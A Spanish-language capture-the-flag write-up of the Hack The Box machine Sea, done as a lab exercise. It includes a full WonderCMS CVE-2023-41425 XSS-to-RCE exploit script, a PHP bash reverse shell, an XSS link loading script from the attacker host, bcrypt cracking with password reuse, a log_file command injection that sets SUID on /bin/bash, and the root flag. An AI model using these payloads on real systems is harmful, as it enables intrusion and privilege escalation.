CorvusDDosKRom

Hack The Box: Sea

Easy

Sea es una máquina de nivel Easy en Hack The Box que involucra la explotación de WonderCMS mediante CVE-2023-41425 para obtener RCE a través de XSS y escalada de privilegios mediante inyección de comandos en un servicio de monitorización interno.

Linux
Hack The Box
Web WonderCMS XSS CVE-2023-41425 Hash Cracking

Sea

Plataforma: Hack The Box

Dificultad: Easy

🔗 Link de la máquina: https://app.hackthebox.com/machines/Sea

Sea

Reconocimiento

En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN sea.txt 10.129.6.206
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-14 21:18 -0300
Nmap scan report for 10.129.6.206
Host is up (0.52s latency).
Not shown: 64710 closed tcp ports (reset), 823 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
|   256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_  256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Sea - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.66 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN sea.txt: Guarda los resultados en el archivo “sea.txt”.

Puertos descubiertos:

  • 22/tcp - SSH (OpenSSH 8.2p1 Ubuntu)
  • 80/tcp - HTTP (Apache 2.4.41) → Sea - Home

Configuración del Host

El servidor redirige al dominio sea.htb, lo agregamos al /etc/hosts:

echo "10.129.6.206 sea.htb" | sudo tee -a /etc/hosts

Enumeración Web

Al acceder a http://sea.htb encontramos un sitio web sobre ciclismo con un formulario de registro de competencias.

Web Principal

Fuzzing de Directorios

gobuster dir -u http://sea.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt --no-error

Resultados relevantes:

contact.php          (Status: 200) [Size: 2731]
themes               (Status: 301) [--> http://sea.htb/themes/]
data                 (Status: 301) [--> http://sea.htb/data/]
plugins              (Status: 301) [--> http://sea.htb/plugins/]
messages             (Status: 301) [--> http://sea.htb/messages/]

Fingerprinting del CMS

En /contact.php encontramos el formulario de registro de la competencia con los campos: Name, Email, Age, Country y Website.

Contact Form

Accediendo al directorio /themes/ descubrimos el tema bike. Su README.md confirma que se trata de WonderCMS:

curl http://sea.htb/themes/bike/README.md

curl README

Con esto identificamos el CMS y su ruta de login por defecto:

http://sea.htb/loginURL

WonderCMS Login


Explotación

CVE-2023-41425 - WonderCMS XSS to RCE

Encontramos que WonderCMS es vulnerable al CVE-2023-41425, una vulnerabilidad de XSS en el campo Website del formulario de contacto que puede encadenarse con la funcionalidad de instalación de módulos para lograr RCE.

Análisis del exploit

El exploit aprovecha que:

  1. El campo Website del formulario no sanitiza correctamente el input, permitiendo inyectar etiquetas <script>
  2. Un administrador que revise los mensajes ejecuta el XSS en su sesión autenticada
  3. El XSS roba el token CSRF del panel admin e instala un módulo malicioso a través de la API de WonderCMS

Preparación del módulo malicioso

Creamos el módulo con la reverse shell PHP y lo empaquetamos como ZIP. La máquina víctima no tiene acceso a internet, así que lo servimos desde nuestra máquina:

mkdir -p module
cat > module/rev.php << 'EOF'
<?php
if (isset($_GET['lhost']) && isset($_GET['lport'])) {
    $lhost = "10.10.16.4";
    $lport = "4444";
    $cmd = "bash -c 'bash -i >& /dev/tcp/$lhost/$lport 0>&1'";
    system($cmd);
}
?>
EOF
zip -r module.zip module/

Exploit y generación del payload

El exploit exploit.py genera el xss.js y levanta el servidor HTTP. El xss.js obtiene el token CSRF del panel admin, instala el módulo con installModule, accede a rev.php para confirmar que está disponible y finalmente dispara la reverse shell:

# Exploit: WonderCMS XSS to RCE
import sys
import requests
import os
import bs4

if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 10.10.16.4 4444")
else:
  data = '''
// the server has some issue resolving domain name with JavaScript
// we can just provide the target URL as required parameter
var moduleURL = "http://sea.htb";
var token = document.querySelectorAll('[name="token"]')[0].value;
// modify the ZIP file path serving on HTTP server
var urlRev = moduleURL+"/?installModule=http://10.10.16.4:8000/module.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // visit rev.php inside the uploaded ZIP file
   xhr4.open("GET", moduleURL+"/themes/module/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "'''+str(sys.argv[2])+'''";
       var port = "'''+str(sys.argv[3])+'''";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // trigger reverse shell script and provide listner ip & port
       xhr5.open("GET", moduleURL+"/themes/module/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
'''
  try:
    open("xss.js","w").write(data)
    print("[+] xss.js is created")
    print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
    print("----------------------------\n")
    XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
    XSSlink = XSSlink.strip(" ")
    print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
    print("----------------------------\n")

    print("\nstarting HTTP server to allow the access to xss.js")
    os.system("python3 -m http.server\n")
  except: print(data,"\n","//write this to a file")

Ejecutamos el exploit:

python3 exploit.py http://sea.htb/loginURL 10.10.16.4 4444

En otra terminal levantamos el listener:

nc -nlvp 4444

Envío del Payload XSS

Accedemos a http://sea.htb/contact.php y en el campo Website pegamos el link generado por el exploit:

http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.4:8000/xss.js"></script><form+action="

Contact Form XSS

Ejecución del XSS

Cuando el administrador revisa los mensajes en su panel autenticado, el XSS se ejecuta. Observamos en nuestro servidor HTTP que descarga primero xss.js y luego el module.zip varias veces:

Python exploit + HTTP server

El módulo se instala en /themes/module/ y automáticamente rev.php establece la conexión con nuestro listener.

Reverse Shell

Reverse Shell

connect to [10.10.16.4] from (UNKNOWN) [10.129.6.206] 56466
bash: cannot set terminal process group (1127): Inappropriate ioctl for a device
bash: no job control in this shell
www-data@sea:/var/www/sea/themes/module$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Tratamiento de la TTY

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm-256color
export SHELL=/bin/bash

User Flag

Extracción de Credenciales

Accedemos al archivo de configuración de WonderCMS:

www-data@sea:/var/www/sea$ cat data/database.js

Contenido relevante:

{
  "config": {
    "siteTitle": "Sea",
    "theme": "bike",
    "defaultPage": "home",
    "login": "loginURL",
    "forceLogout": false,
    "forceHttps": false,
    "saveChangesPopup": false,
    "password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
    "lastLogins": { ... }
  }
}

Encontramos un hash bcrypt de la contraseña del administrador. Intentamos crackearlo:

hashcat -m 3200 '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' /usr/share/wordlists/rockyou.txt

Resultado:

$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance

Contraseña crackeada: mychemicalromance

Usuarios del Sistema

cat /etc/passwd | grep -v "nologin\|false"
root:x:0:0:root:/root:/bin/bash
geo:x:1000:1000::/home/geo:/bin/bash
amay:x:1001:1001::/home/amay:/bin/bash

Intentamos reutilizar la contraseña para los usuarios del sistema:

ssh amay@10.129.6.206
# Password: mychemicalromance

SSH amay

amay@sea:~$ cat user.txt

User Flag


Escalada de Privilegios

Enumeración de Servicios Internos

ss -tlnp

Resultado:

State    Recv-Q   Send-Q   Local Address:Port   Peer Address:Port
LISTEN   0        4096         127.0.0.1:8080      0.0.0.0:*
LISTEN   0        128            0.0.0.0:22        0.0.0.0:*
LISTEN   0        511                  *:80              *:*

Hay un servicio interno en el puerto 8080. Requiere autenticación y lo exploramos con las credenciales de amay:

curl -s -u amay:mychemicalromance http://127.0.0.1:8080/

Encontramos un System Monitor en desarrollo que permite analizar logs del sistema. Tiene un formulario con el parámetro log_file que no está sanitizado.

Inyección de Comandos en el Analizador de Logs

El parámetro log_file es vulnerable a inyección de comandos mediante el carácter ;. Usamos notación octal para evitar problemas de encoding con el bit SUID:

curl -s -u amay:mychemicalromance http://127.0.0.1:8080/ \
  --data "log_file=/var/log/apache2/access.log%3Bchmod+4755+/bin/bash&analyze_log=" > /dev/null

Verificamos y ejecutamos:

ls -la /bin/bash
# -rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

/bin/bash -p

Privesc

bash-5.0# id
uid=1001(amay) gid=1001(amay) euid=0(root) groups=1001(amay)

Root Flag

bash-5.0# cd /root/
bash-5.0# ls
monitoring  root.txt  scripts
bash-5.0# cat root.txt
531bfbdd240d5de1f0f76ab8608d5475

Root Flag

Máquina Sea de Hack The Box completada exitosamente.